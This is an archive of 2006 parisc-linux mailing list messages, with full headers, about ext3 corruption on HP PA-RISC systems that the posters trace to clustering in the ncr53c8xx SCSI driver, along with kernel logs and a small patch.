Xref: news.gmane.org gmane.linux.ports.parisc:23992

On Fri, Sep 08, 2006 at 03:14:32PM +0000, Joel Soete wrote:
> Cool
> (I tested with success the GM loop on my c110 (kernel up 32bit) and it 
> seems to works fine)

Excellent - thanks.

For the record, I 've been testing those patches on C3000 (no problems)
B2600 (HPMC in tulip_get_stats() from LED/LCD task), and A500 (no problems).
The C3000 (32-bit UP) and A500 (64-bit SMP) ran "make -j4" several days
in a loop with no problems or console output.

> right nothing related:
> I just did a tar/untar and already get:
> EXT3-fs error (device md2): ext3_readdir: bad entry in directory4Remounting 
> filesystem read-only

It would be best if you (re)started a new thread about this problem.
When I hit "^D" in the near future to clean up my inbox, this thread
will only exist (from my point of view) in the archives.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] w-a to what [Was: D380 and ext[23] fs grave pb]
Date: Mon, 11 Sep 2006 08:29:22 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <200609110829.23168.mszick@morethan.org>
References: <45018CEC.4040104@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624185 21026 80.91.229.3 (22 Nov 2014 02:43:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Sep 2006 13:29:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 11 Sep 2006 15:29:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6AC2E7D6AF;
	Mon, 11 Sep 2006 07:29:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09431-09; Mon, 11 Sep 2006 07:29:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 749207D6AB;
	Mon, 11 Sep 2006 07:29:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27CF27D6AD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Sep 2006 07:29:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09431-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Sep 2006 07:29:26 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id DDA827D6AB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Sep 2006 07:29:25 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k8BDTciL078154
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 11 Sep 2006 06:29:38 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [76.4.40.134] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id SKK0yOQ2
	authenticated by SMTP; Mon, 11 Sep 2006 06:29:37 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <45018CEC.4040104@scarlet.be>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /VwzDAIdQEVsAujDZnVp0nBKNzg2NYJm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23993

On Fri September 8 2006 10:31, Joel Soete wrote:
> Hello James, Matthrew,
>=20
> I come back to you with this pb because as explained in a previous mail:=
=20
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/0301=
52.html>
>=20
> , it seems to be related to ncr53c720 driver.
>=20

That's the second hit on that driver this week:
http://lists.parisc-linux.org/pipermail/parisc-linux/2006-August/030054.html

In the above mail, the driver was reporting:

ncr53c720-0: rev 0xf irq 66
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3g

=A0 =A0Vendor: SEAGATE =A0 Model: ST15150W =A0 =A0 =A0 =A0 =A0Rev: HP07
=A0 =A0Type: =A0 Direct-Access =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0A=
NSI SCSI revision: 02

Where the model number was single-ended, not: ST15150WD (Differential)
and the problem was that the drive could not be written.

Joel, what does that part of your dmesg have to say?
Do the messages match what you have installed?

Dave pointed out that some drives firmware does not report
the correct model number - making this a non-problem.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] w-a to what [Was: D380 and ext[23] fs grave pb]
Date: Tue, 12 Sep 2006 09:14:07 -0500
Lines: 83
Approved: news@gmane.org
Message-ID: <200609120914.08001.mszick@morethan.org>
References: <4506B61C.2000204@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624185 21031 80.91.229.3 (22 Nov 2014 02:43:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Sep 2006 14:14:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 12 Sep 2006 16:14:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E01B7D731;
	Tue, 12 Sep 2006 08:14:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29152-06; Tue, 12 Sep 2006 08:14:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC4027D738;
	Tue, 12 Sep 2006 08:14:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C04D7D72F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 08:14:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29152-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 08:14:17 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id E2A5D7D720
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 08:14:16 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k8CEERoo091155
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 07:14:27 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [76.4.40.134] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id khN0GmT2
	authenticated by SMTP; Tue, 12 Sep 2006 07:14:26 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <4506B61C.2000204@scarlet.be>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5fIxcnpYbGI0QqaDYmRnQipncmZ1Ztwr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23994

On Tue September 12 2006 08:29, Joel wrote:
> Hello Mike,
> 
> Apologies for so late answer but it seems that I never recieved this 
> mail so I am trying to compose a new one from m-l (sorry to breack the 
> thread so sadely):
> 
>  >On Fri September 8 2006 10:31, Joel Soete wrote:
>  >> Hello James, Matthrew,
>  >>
>  >> I come back to you with this pb because as explained in a previous 
> mail:
>  >> 
>  ><http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030152.html>
>  >>
>  >> , it seems to be related to ncr53c720 driver.
>  >>
>  >
>  >That's the second hit on that driver this week:
>  >http://lists.parisc-linux.org/pipermail/parisc-linux/2006-August/030054.html
>  >
>  >In the above mail, the driver was reporting:
>  >
>  >ncr53c720-0: rev 0xf irq 66
>  >ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
>  >scsi0 : ncr53c8xx-3.4.3g
>  >
>  >   Vendor: SEAGATE   Model: ST15150W          Rev: HP07
>  >   Type:   Direct-Access                      ANSI SCSI revision: 02
>  >
>  >Where the model number was single-ended, not: ST15150WD (Differential)
>  >and the problem was that the drive could not be written.
>  >
>  >Joel, what does that part of your dmesg have to say?
> That said on my C110 I got:
> --- snip ---
> ncr53c720-0: rev 0xf irq 66
>

I could not find any code that identifies the actual chip, the "ncr53c720"
seems to be hardcoded in the message.

> ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
>

This message is part of the strange SE/DIFF code.

> scsi0 : ncr53c8xx-3.4.3g
>    Vendor: SEAGATE   Model: ST34371W          Rev: HP03
>    Type:   Direct-Access                      ANSI SCSI revision: 02
>

And even though this is a different model drive than Joe's problem,
it is still claiming to be SE:
<http://www.seagate.com/support/disc/scsi/st34371w.html>

Hmm... I forgot to check if the string is long enough for 9 characters,
perhaps just the "D" is getting clipped in the message.

>   target0:0:5: Beginning Domain Validation
>   target0:0:5: asynchronous
>   target0:0:5: wide asynchronous
>   target0:0:5: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
>

And that is just wrong - the drive is a SCSI-3 (Ultra SCSI) (Fast-20)
but this drive can fall back to FAST-10, which may be what is happening.

Hmm... Maybe Joe's drives can't fall back to match the controller.

See page 15 of:
<http://www.seagate.com/support/disc/manuals/scsi/67491d.pdf>

Just more reasons to /dev/null this driver.

Mike
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC]: rename ncr53c8xx to 53c720? [Was: D380 and
 ext[23] fs grave pb]
Date: Tue, 12 Sep 2006 11:09:09 +0000
Lines: 216
Approved: news@gmane.org
Message-ID: <45069555.60807@scarlet.be>
References: <45018CEC.4040104@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624185 21034 80.91.229.3 (22 Nov 2014 02:43:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:05 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>
To: Parisc List <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Sep 2006 11:09:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 12 Sep 2006 13:09:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C64D47D6F0;
	Tue, 12 Sep 2006 05:09:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23461-06; Tue, 12 Sep 2006 05:09:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E5C0C7D6F2;
	Tue, 12 Sep 2006 05:09:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8DCC97D6E4
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 05:09:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23461-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 05:09:14 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id D5B757D6E1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 05:09:13 -0600 (MDT)
Original-Received: from (ip-213-49-79-68.dsl.scarlet.be [213.49.79.68]) 
	by guri.is.scarlet.be  with ESMTP id k8CB9AC31484; 
	Tue, 12 Sep 2006 13:09:10 +0200
User-Agent: Thunderbird 1.5.0.5 (X11/20060812)
In-Reply-To: <45018CEC.4040104@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Wqw1fSUVMmApXLSZZGFnQOoxMjQ1N93Z
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23995

Hello Matthew,

May be now that parisc-linux tree is managed with git and that driver is 
in fact only for ncr 53c720 hba, isn't it time to rename those stuff 
like ncr53c8xx to 53c720?

Awaitng a better fix, may I also suggest this small change:
--- drivers/scsi/ncr53c8xx.c.Orig       2006-09-11 11:26:36.000000000 +0200
+++ drivers/scsi/ncr53c8xx.c    2006-09-12 12:40:01.000000000 +0200
@@ -8362,7 +8362,12 @@
         tpnt->this_id           = 7;
         tpnt->sg_tablesize      = SCSI_NCR_SG_TABLESIZE;
         tpnt->cmd_per_lun       = SCSI_NCR_CMD_PER_LUN;
+#if defined(__hppa__)
+       /* FIXME: ENABLE_CLUSTERING cause ext fs corruptions */
+       tpnt->use_clustering    = DISABLE_CLUSTERING;
+#else
         tpnt->use_clustering    = ENABLE_CLUSTERING;
+#endif

         if (device->differential)
                 driver_setup.diff_support = device->differential;
=== <> ===

TIA for help,
	Joel


Joel Soete wrote:
> Hello James, Matthrew,
> 
> I come back to you with this pb because as explained in a previous mail: 
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030152.html> 
> 
> 
> , it seems to be related to ncr53c720 driver.
> 
> As I encountered same kind of pb on my c110:
> a few time after the reboot, I just did a tar/untar and already get:
> EXT3-fs error (device md2): ext3_readdir: bad entry in 
> directory4Remounting filesystem read-only
> 
> That said, it seems that I find a work around: I just reverted this
> <http://cvs.parisc-linux.org/linux-2.6/drivers/scsi/ncr53c8xx.c?r1=1.18&r2=1.19&makepatch=1&diff_format=h> 
> 
> ===================================================================
> RCS file: /var/lib/cvs/linux-2.6/drivers/scsi/ncr53c8xx.c,v
> retrieving revision 1.18
> retrieving revision 1.19
> diff -u -r1.18 -r1.19
> --- linux-2.6/drivers/scsi/ncr53c8xx.c    2004/07/20 22:06:43    1.18
> +++ linux-2.6/drivers/scsi/ncr53c8xx.c    2004/07/27 21:19:51    1.19
> @@ -8633,7 +8633,7 @@
>       tpnt->this_id        = 7;
>       tpnt->sg_tablesize    = SCSI_NCR_SG_TABLESIZE;
>       tpnt->cmd_per_lun    = SCSI_NCR_CMD_PER_LUN;
> -    tpnt->use_clustering    = DISABLE_CLUSTERING;
> +    tpnt->use_clustering    = ENABLE_CLUSTERING;
> 
>       if (device->differential)
>           driver_setup.diff_support = device->differential;
> === <> ===
> 
> And a loop like:
> # while true; do nice -n -5 tar -xslpf linux-2.6.12-rc1-pa1.tar ; nice 
> -n -5 rm -rf linux-2.6.12-rc1-pa 1-050319; date; done
> 
> was already running at least 85 time without any pb on this same c110 
> (same kernel 2.6.18-rc6-pa1 + jejb's patch + your
> timer_interrupt patch).
> 
> As you're scsi driver expert and also symbios/ncr one, may be have you 
> an idea where ncr stuff could be broken by enabling 'clustering'?
> 
> TIA,
>     Joel
> 
> Joel Soete wrote:
>  > Hello *pa,
>  >
>  > Making some stress test to atempt to identify some smp pb on my d380, 
> I figure
>  > out this ext[23] relatively grave pb. Effectively during this test loop:
>  > # while true ; do nice -n -3 tar -xspf linux-2.6.11-rc3-pa3.tar ; 
> nice -n -3 rm
>  > -rf linux-2.6.11-rc3-pa3 ; date ; done
>  >
>  > after about 30 iteration, I got a fs' corruption:
>  > EXT3-fs error (device sda10): ext3_readdir: bad entry in directory 
> #84801:
>  > rec_len % 4 != 0 - offset=0, inode=175234
>  > Aborting journal on device sda10.
>  >
>  > ext3_abort called.
>  >
>  > EXT3-fs error (device sda10): ext3_journal_start_sb: Detected aborted 
> journal
>  >
>  > Remounting filesystem read-only
>  >
>  > EXT3-fs error (device sda10): ext3_readdir: bad entry in directory 
> #84801:
>  > rec_len % 4 != 0 - offset=0, inode=1752397164, rec_len=24
>  > EXT3-fs error (device sda10): ext3_readdir: bad entry in directory 
> #84801:
>  > rec_len % 4 != 0 - offset=0, inode=1752397164, rec_len=24
>  > [snip]
>  >
>  > and during fsck I noticed:
>  > __journal_remove_journal_head: freeing b_committed_data
>  >
>  > Pass 2: Checking directory structure
>  > Directory inode 84801, block 0, offset 0: directory corrupted
>  > Salvage? yes
>  >
>  > Missing '.' in directory inode 84801.
>  > Fix? yes
>  >
>  > Setting filetype for entry '.' in ??? (84801) to 2.
>  > Missing '..' in directory inode 84801.
>  > Fix? yes
>  >
>  > [snip]
>  >
>  > As the first time it was with a smp kernel, I re-test with up kernels 
> only.
>  >
>  > This pb occured with different (up) kernels (2.6.17-rc6, 2.6.14, 
> 2.6.17 and
>  > even with 2.6.8.1) on different fs located on different disk and 
> different
>  > hba, and finaly on the 2 different cpu?
>  >
>  > That said I also get a fs corruption during a simple apt-get 
> dist-upgrade:
>  > (sdb6 being /var)
>  > EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in 
> datazone -
>  > block = 745764206, count = 1
>  > Aborting journal on device sdb6.
>  > ext3_abort called.
>  > EXT3-fs error (device sdb6): ext3_journal_start_sb: Detected aborted 
> journal
>  > Remounting filesystem read-only
>  > EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in 
> datazone -
>  > block = 1869488138, count = 1
>  > EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in 
> datazone -
>  > block = 1953459744, count = 1
>  > [snip]
>  > EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in 
> datazone -
>  > block = 2003788910, count = 1
>  > EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in 
> datazone -
>  > block = 1851878701, count = 1
>  > EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in 
> datazone -
>  > block = 1919248225, count = 1<3>BUG: soft lockup det
>  > ected on CPU#0!
>  > Backtrace:
>  >  [<1013222c>] update_process_times+0x34/0x80
>  >  [<1010748c>] timer_interrupt+0x9c/0x134
>  >  [<10145f44>] handle_IRQ_event+0x5c/0xa4
>  >  [<10146004>] __do_IRQ+0x78/0x18c
>  >  [<10107bc4>] do_cpu_irq_mask+0x6c/0xc8
>  >  [<1010a068>] intr_return+0x0/0xc
>  >
>  >
>  > EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in 
> datazone -
>  > block = 1632635402, count = 1
>  > EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in 
> datazone -
>  > block = 1734437731, count = 1
>  > [snip]
>  > EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in 
> datazone -
>  > block = 1313423904, count = 1
>  > EXT3-fs error (device sdb6): ext3_free_blocks: Freeing blocks not in 
> datazone -
>  > block = 171515972, count = 1
>  > EXT3-fs error (device sdb6) in ext3_reserve_inode_write: Journal has 
> aborted
>  > EXT3-fs error (device sdb6) in ext3_truncate: Journal has aborted
>  > EXT3-fs error (device sdb6) in ext3_reserve_inode_write: Journal has 
> aborted
>  > EXT3-fs error (device sdb6) in ext3_orphan_del: Journal has aborted
>  > EXT3-fs error (device sdb6) in ext3_reserve_inode_write: Journal has 
> aborted
>  > __journal_remove_journal_head: freeing b_committed_data
>  >
>  > It's the only system of this model on which I can reproduce but also 
> I can
>  > test (and as I am not hp, I don't have passwd diagnostic cd to test 
> hw ;-( ),
>  > so it's very hard to me if it's a driver pb (e.g. ncr hba) or a hw pb?
>  >
>  > Any idea, advises are welcome.
>  >
>  > Thanks in advance,
>  >     Joel
>  >
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] some more cpu info?
Date: Tue, 12 Sep 2006 11:21:13 +0000
Lines: 256
Approved: news@gmane.org
Message-ID: <45069829.5060804@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624186 21041 80.91.229.3 (22 Nov 2014 02:43:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:06 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Sep 2006 11:21:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 12 Sep 2006 13:21:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 811AA7D70E;
	Tue, 12 Sep 2006 05:21:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24715-01; Tue, 12 Sep 2006 05:21:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BED7A7D6FF;
	Tue, 12 Sep 2006 05:21:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36E8F7D6F7
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 05:21:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23947-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 05:21:23 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 636DC7D6F0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 05:21:22 -0600 (MDT)
Original-Received: from (ip-213-49-79-68.dsl.scarlet.be [213.49.79.68]) 
	by guri.is.scarlet.be  with ESMTP id k8CBLEC08940; 
	Tue, 12 Sep 2006 13:21:15 +0200
User-Agent: Thunderbird 1.5.0.5 (X11/20060812)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
